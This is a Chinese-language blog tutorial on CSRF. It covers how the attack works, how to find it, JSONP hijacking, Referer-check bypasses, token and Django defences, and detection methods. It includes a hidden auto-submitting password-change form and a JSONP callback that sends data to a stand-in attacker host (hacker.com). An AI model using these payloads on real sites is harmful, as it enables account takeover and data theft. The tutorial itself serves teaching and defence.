#5 CSRF基础

作者: saya 分类: CSRF篇,Web安全基础系列 发布时间: 2010-01-05 14:12

一.CSRF漏洞的概述

1.CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

2.CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)。

3.下面是CSRF的常见特性:

(1)依靠用户标识危害网站

(2)利用网站对用户标识的信任

(3)欺骗用户的浏览器发送HTTP请求给目标站点

(4)另外可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。

基本原理:

如何确认一个web系统存在Csrf漏洞

1.对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造,比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造;v比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造。

2.确认凭证的有效期(这个问题会提高CSRF利用的概率)

虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单

 

CSRF能够造成的危害:

  • 篡改目标网站上的用户数据;
  • 盗取用户隐私数据;
  • 作为其他攻击向量的辅助攻击手法;
  • 传播CSRF蠕虫。

CSRF的利用方式:

  • 通过HTML标签发送合法的跨域请求
  • 通过Ajax发送请求(由于CORS机制的存在,一般不使用)

这里涉及到同源策略,如果不是很清楚可以先去了解一下。

1) HTML标签

我们知道,根据同源策略的规定,跨域请求是不允许带上Cookie等信息的,可是出于种种考虑最终没有进行完全禁止,即存在某些合法的跨域请求。

通常由HTML标签src、lowsrc等属性产生的跨域请求是被浏览器认为是合法的跨域请求,并且此时并不需要javascript的参与。

由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不同的是:两者请求头中的Referer值不同。不过值得说明的是IE浏览器在面对这种情况时会判断本地Cookie是否带上P3P属性,如果仅仅是内存Cookie则不受此影响。CSRF不仅仅只能针对GET请求,也可以针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascript。

<html>

<head></head>

<body>

<form action="http://a.com/changepass" method="POST">

<input type="hidden" name="username" value="victim">

<input type="hidden" name="password" value="hacker">

<input id="sub" type="submit"> //可用样式表将按钮隐藏

</form>

<script>

document.getElementById("sub").click()

</script>

</body>

</html>

2) Ajax

除了通过HTML标签发送跨域请求外,还可以通过Ajax来发送跨域情况,不过Ajax是严格遵守CORS规则的。关于CORS规则,不清楚的可以去看看evoA大佬的一篇文章跨域方式及其产生的安全问题。简单来说就是需要构造的xhr的withCredentials属性也为true才能带上Cookie进行跨域请求,与IE兼容性不好,且构造难度较Html复杂,故通常情况下我们不使用Ajax来进行CSRF攻击。通常使用Ajax来跨域进行CSRF攻击的漏洞一般都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制

 

CSRF利用实例

1)常用利用方式

攻击者构造恶意html,通过引诱用户/管理员访问,触发CSRF漏洞。

2) 结合XSS利用

CSRF+XSS结合,产生的危害已几何倍数剧增。如果CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述

3) jsonp

我们知道网站api返回的数据类型一般为json型或Array型,这里我们仅讨论json型。当我们需要调用远程api时json返回的数据一般如下:

user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})

这是因为开发者如果需要调用远程服务器的api获取json数据,由于同源策略的限制,通过ajax获取就会显得比较麻烦,相比之下<script>标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据可以进行方便的跨域传输。此处的user为回调函数名,一般为某个请求参数值(比如:callback),就上述例子说,只需要通过下面方法即可调用返回的数据:

<script>

    function user(data){

        console.log(data);//此时的json数据已经存储进了data变量中    

    }

</script>

 

这种远程api接口十分容易受到CSRF攻击,我们可以通过修改callback参数值并添加自定义函数,如:

<html>

<head></head>

<body>

<script>

    function jsonphack(data){

        new image().src="http://hacker.com/json.php?data="+escape(data);

        //将json返回的数据发送到黑客服务器上

    }

</script>

<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>

</body>

</html>

 

CSRF防御方法

前边我们说到,产生CSRF的原因主要有两点,那么我们可以针对这两点进行相应的防御。

1) Token

我们知道CSRF攻击的请求除了Cookie以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?这里我们称这个随机的、无法被预计的值叫做Token,一般是由服务端在接收到用户端请求后生成,返回给用户的Token通常放置在hidden表单或用户的Cookie里。当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,如果相匹配才执行相应的操作、销毁原Token以及生成并返回新的Token给用户,这样做不仅仅起到了防御CSRF的作用,还可以防止表单的重复提交。由于HTML标签产生的合法跨域只能是单向请求,无法通过CSRF直接取返回的内容,所以我们无法使用CSRF先取Token值再构造请求,这使得Token可以起到防御CSRF的作用。

注意Token不应该放置在网页的Url中,如果放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现作为Referer发送给外部服务器,以下为相关实例:

WooYun-2015-136903

2) Referer

前边我们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,使用我们可以根据这点来防御CSRF。在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用Token。判断Referer的一般方法就是利用正则进行判断,而判断Referer的正则一定要写全,不然就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是由于Referer的正则不规范导致。

比如^http\:\/\/a\.com,只验证了是否Referer是否以http://a.com开头,可是没想到我们可以在自己的顶级域名添加一个子域名http://a.com.hacker.com;还有http\:\/\/a\.com\/,通过http://hacker.com/?http://a.com/绕过。以下相关例子均为Referer绕过:

WooYun-2015-164067

WooYun-2015-165578

WooYun-2016-166608

WooYun-2016-167674

有些网站由于历史原因会允许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,可以达到空Referer的目的。

3) 验证码

在发送请求前先需要输入基于服务端判断的验证码,机制与Token类似,防御CSRF效果非常好,不过此方法对用户的友好度很差。

4) 关注点

关于CSRF的防护应首先关注高危操作的请求,比如:网上转账、修改密码等,其次应重点关注那些可以散播的,比如:分享链接、发送消息等,再者是能辅助散播的,如取用户好友信息等,因为前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的特权操作,如:上传文件、添加管理员,在许多渗透测试中,便是起初利用这点一撸到底。

5) 防御实例:Django的CSRF防御机制

新建个Django项目,打开项目下的settings.py文件,可以看到这么一行代码:

这个就是Django的CSRF防御机制,当我们发送POST请求时Django会自动检测CSRF_Token值是否正确。我们把Debug打开,可以看到如果我们的POST请求无CSRF_Token这个值,服务端会返回403报错。

现在我们往表单上添加CSRF_Token的验证:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Title</title>

</head>

<body>

    <form action="/login/" method="post">

        {% raw %}{{% endraw %}% csrf_token %} //添加Token

        <input type="text" name="user" />

        <input type="text" name="pwd" />

        <input type="submit" value="登陆" />

    </form>

</body>

</html>

下图为生成的HTML,可以看到{% raw %}{{% endraw %}% csrf_token %}这串代码被Django解析成了一个隐藏的input标签,其中的值为token值,当我们发送请求时必须带上这个值。

只有这样Django才会接受POST请求来的数据,否则返回错误,并且原登陆页面的CSRF_Token重新生成,上一个进行销毁,很大程度上防御住了POST请求的CSRF。

 

CSRF检测

1) 黑盒

首先肯定确定是否除Cookie外其他参数均可确定,即:无验证码,无Token等。再者如果发现是Referer头判断的话,可以尝试是否可以绕过正则。还有就是考虑能不能绕过Token,比如Url处的Token用加载攻击者服务器上的图片来获取。最后可以考虑与XSS结合,如:攻击者使用iframe跨域,存在xss漏洞的网站插入的XSS执行代码为:

eval(window.name),那么我们构造的iframe标签里可以添加个name属性与子页面进行通信,例子:wooyun-2015-089971。

2) 白盒

查看是否有Token,验证码,Referer等不确定参数判断。判断Referer的正则是否安全。判断Token返回的位置是否为安全位置。判断生成的Token是否足够随机,毫无规律。从上到下挖掘难度依次递增

 

补充说明:

1) HttpOnly

CSRF攻击不受Cookie的HttpOnly属性影响。

2) XSS漏洞情况下的CSRF

如果一个网站存在XSS漏洞,那么以上针对CSRF的防御几乎失去了作用。

3) 关于Flash的内容

鉴于Flash的凉势,这里暂不做研究以节省时间。

4) 目前CSRF形势

就目前而言,CSRF这个沉睡的巨人颇有一番苏醒的意味,可导致的危害也正在逐步的为人们所知,但目前仍有许多开发人员还没有足够的安全意识,以为只要验证Cookie就能确定用户的真实意图了,这就导致了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,希望大家看完这篇文章能对CSRF有个较为清晰的认识。

 

 

总结:

CSRF其实存在的比例还是很高的,用扫描器扫一些站点会发现很多。本身对这类攻击不是感冒,在我看来是逻辑业务类漏洞,组合拳利用的点也有一定局限性业务层面确实危害非常大,这个也不能忽视。如果你是一个强调getshell一类的爱好者可能对这类攻击利用不怎么关注。毕竟攻击是一个综合利用的过程,csrf单点可能突破不了大格局,但是可以组合攻击达到需要的效果。实战中强调综合,所以不能忽视细节。

 

 

补充:

https://www.cnblogs.com/yunen/p/10619061.html

https://xz.aliyun.com/t/4470#toc-11

https://blog.csdn.net/gl620321/article/details/89605313

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云